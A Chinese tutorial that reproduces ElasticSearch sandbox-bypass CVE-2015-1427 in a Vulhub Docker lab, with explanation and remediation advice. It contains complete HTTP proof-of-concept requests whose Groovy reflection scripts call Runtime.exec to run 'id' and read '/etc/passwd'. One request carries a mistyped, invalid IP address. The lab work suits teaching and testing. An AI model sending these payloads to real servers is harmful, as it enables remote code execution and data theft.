ElasticSearch沙盒绕过漏洞复现:原理详解+环境搭建+渗透实践(CVE-2015-1427)
目录
一、ElasticSearch 沙盒绕过漏洞(CVE-2015-1427)
1、漏洞简介
2、漏洞原理
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
2、下载 Vulhub
3、进入漏洞环境
4、启动漏洞环境
5、查看环境状态
三、渗透实战
1、访问环境
2、创建一条数据
3、使用Java反射法exec("id")
4、使用Java反射法exec("cat /etc/passwd")
5、利用Groovy语言exec("id")
6、使用Groovy语言exec("cat /etc/passwd")
本文详细分析了ElasticSearch沙盒绕过漏洞(CVE-2015-1427)的原理与利用方法,提供了完整的漏洞复现环境搭建指南(基于Docker和Vulhub),并展示了多种攻击Payload构造方法,包括执行id和cat /etc/passwd命令的实战案例。该漏洞危害严重,建议升级至1.5.x以上版本或采取网络隔离措施。
一、ElasticSearch 沙盒绕过漏洞(CVE-2015-1427)
1、漏洞简介
ElasticSearch 沙盒绕过漏洞(CVE-2015-1427)是一个严重的安全漏洞,允许攻击者绕过沙盒保护机制,在 ElasticSearch 服务器上执行任意代码。
项目 | 描述 |
---|---|
漏洞名称 | ElasticSearch 沙盒绕过漏洞 (远程代码执行) |
核心漏洞 | Groovy 脚本引擎沙盒机制存在缺陷,可被绕过 |
关键CVE | CVE-2015-1427 (最著名) |
技术原理 | 利用 Java反射 机制,通过允许的类(如Math )加载并执行被禁止的危险类(如Runtime ),从而绕过沙盒限制。 |
主要危害 | 远程代码执行 (RCE) • 完全控制服务器 • 窃取/篡改所有数据 • 内网渗透跳板 |
影响版本 | Elasticsearch 1.4.x 及之前的旧版本 |
修复方案 | 1. 升级版本:升级至 1.5.x 或更高版本(现代版本使用安全的Painless脚本语言) 2. 网络隔离:严禁将ES节点暴露于公网 3. 启用认证:为集群配置身份验证与授权 |
2、漏洞原理
ElasticSearch 早期版本使用 Groovy 作为默认的脚本引擎之一。Groovy 语言功能强大,但其沙盒机制(当时)存在缺陷。攻击者可以通过精心构造的 Groovy 脚本,利用 Java 反射机制来完全绕过沙盒限制:
-
反射(Reflection):Java 反射允许程序在运行时检查或修改其自身的行为。攻击者可以在脚本中使用反射来获取到本应被禁止访问的 Java 类(如
java.lang.Runtime
)。 -
执行命令:一旦通过反射获取了
Runtime.getRuntime()
,就可以调用其exec()
方法来执行服务器上的任意操作系统命令。
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
本文使用Vulhub复现ElasticSearch 漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker
2、下载 Vulhub
将 Vulhub 项目克隆到本地,具体命令如下所示。
git clone https://github.com/vulhub/vulhub.git
cd vulhub
3、进入漏洞环境
Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。
# 进入elasticsearch漏洞(CVE-2015-1427 )的漏洞环境目录
cd elasticsearch
cd CVE-2015-1427
4、启动漏洞环境
在CVE-2015-1427目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。
docker-compose up -d
命令执行后,Docker 会完成拉取一个包含1.4.2(受影响版本)的镜像。
5、查看环境状态
使用 docker ps 命令确认容器启动状态,如下所示当前运行的容器b9873c409e8e属于 Vulhub 搭建的CVE-2015-1427漏洞复现环境(容器名均为 CVE-2015-1427)。
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
76ef652ab876 vulhub/elasticsearch:1.4.2 "/docker-entrypoint.…" 8 minutes ago Up 8 minutes 0.0.0.0:9200->9200/tcp, :::9200->9200/tcp, 0.0.0.0:9300->9300/tcp, :::9300->9300/tcp cve-2015-1427_es_1
- 容器 ID:
76ef652ab876
(容器的唯一标识) - 使用镜像:
vulhub/elasticsearch:1.4.2
(基于 ElasticSearch 1.4.2 版本,正是 CVE-2015-1427 漏洞影响的版本) - 状态:运行中(已启动 8 分钟)
- 端口映射:容器内的 9200(HTTP 端口)和 9300(节点通信端口)映射到宿主机相同端口,可通过
localhost:9200
访问 - 容器名:
cve-2015-1427_es_1
(明确标识这是用于复现 CVE-2015-1427 漏洞的 ElasticSearch 容器)
三、渗透实战
1、访问环境
访问 启动bp,浏览器开启bp代理,访问http://192.168.59.128:9200即可进入ElasticSearch 渗透环境,如下所示。
burpsuite抓包如下所示,从响应报文可以看到ElasticSearch 返回的 JSON 信息,包含节点名称、版本号等,这证明服务正常运行,请注意 "number" : "
1.4.2
"
,这正是存在漏洞的版本。
2、创建一条数据
漏洞利用需要索引中存在数据才能触发搜索和脚本执行。 我们创建一个名为 mooyuan的索引,并插入一条数据。
POST /website/blog/ HTTP/1.1
Host: [目标机IP]:[端口号]
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25{"name": "mooyuan"
}
以我的环境为例,IP地址为192.168.59.128,端口号为9200,访问网页。
POST /website/blog/ HTTP/1.1
Host: 192.168.59.128:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25{"name": "mooyuan"
}
构造好报文后点击发送,如下所示响应报文返回201创建成功,如下图所示。
3、使用Java反射法exec("id")
构造执行id的恶意命令,具体PoC如下所示,其中 [目标机IP]:[端口号]需要替换为ElasticSearch环境的ip地址和端口号 。
POST /_search?pretty HTTP/1.1
Host:192.168.59.128:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 489{"size":1,"script_fields": {"test#": { "script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getInputStream())).readLines()","lang": "groovy"}}}
poc发送成功后,目标服务器会响应200状态码,同时代码exec("id")得到成功执行。漏洞利用成功,在返回的JSON结果中看到 id
命令的执行结果。
4、使用Java反射法exec("cat /etc/passwd")
构造cat /etc/passwd的恶意命令,只需要将原来的exec("id")改为exec("cat /etc/passwd"),具体PoC如下所示。
POST /_search?pretty HTTP/1.1
Host:292.168.59.128:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 502{"size":1,"script_fields": {"test#": { "script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}
poc发送成功后,目标服务器会响应200状态码,同时代码exec("cat /etc/passwd")得到成功执行。漏洞利用成功,在返回的JSON结果中看到cat /etc/passwd命令的执行结果。
5、利用Groovy语言exec("id")
构造执行id的恶意命令,具体PoC如下所示。
POST /_search?pretty HTTP/1.1
Host:192.168.59.128:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 158{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
poc发送成功后,目标服务器会响应200状态码,同时代码exec("id")得到成功执行。漏洞利用成功,在返回的JSON结果中看到 id
命令的执行结果。
6、使用Groovy语言exec("cat /etc/passwd")
构造cat /etc/passwd的恶意命令,只需要将原来的exec("id")改为exec("cat /etc/passwd"),具体PoC如下所示。
POST /_search?pretty HTTP/1.1
Host:192.168.59.128:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 171{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}
poc发送成功后,目标服务器会响应200状态码,同时代码exec("cat /etc/passwd")得到成功执行。漏洞利用成功,在返回的JSON结果中看到cat /etc/passwd命令的执行结果。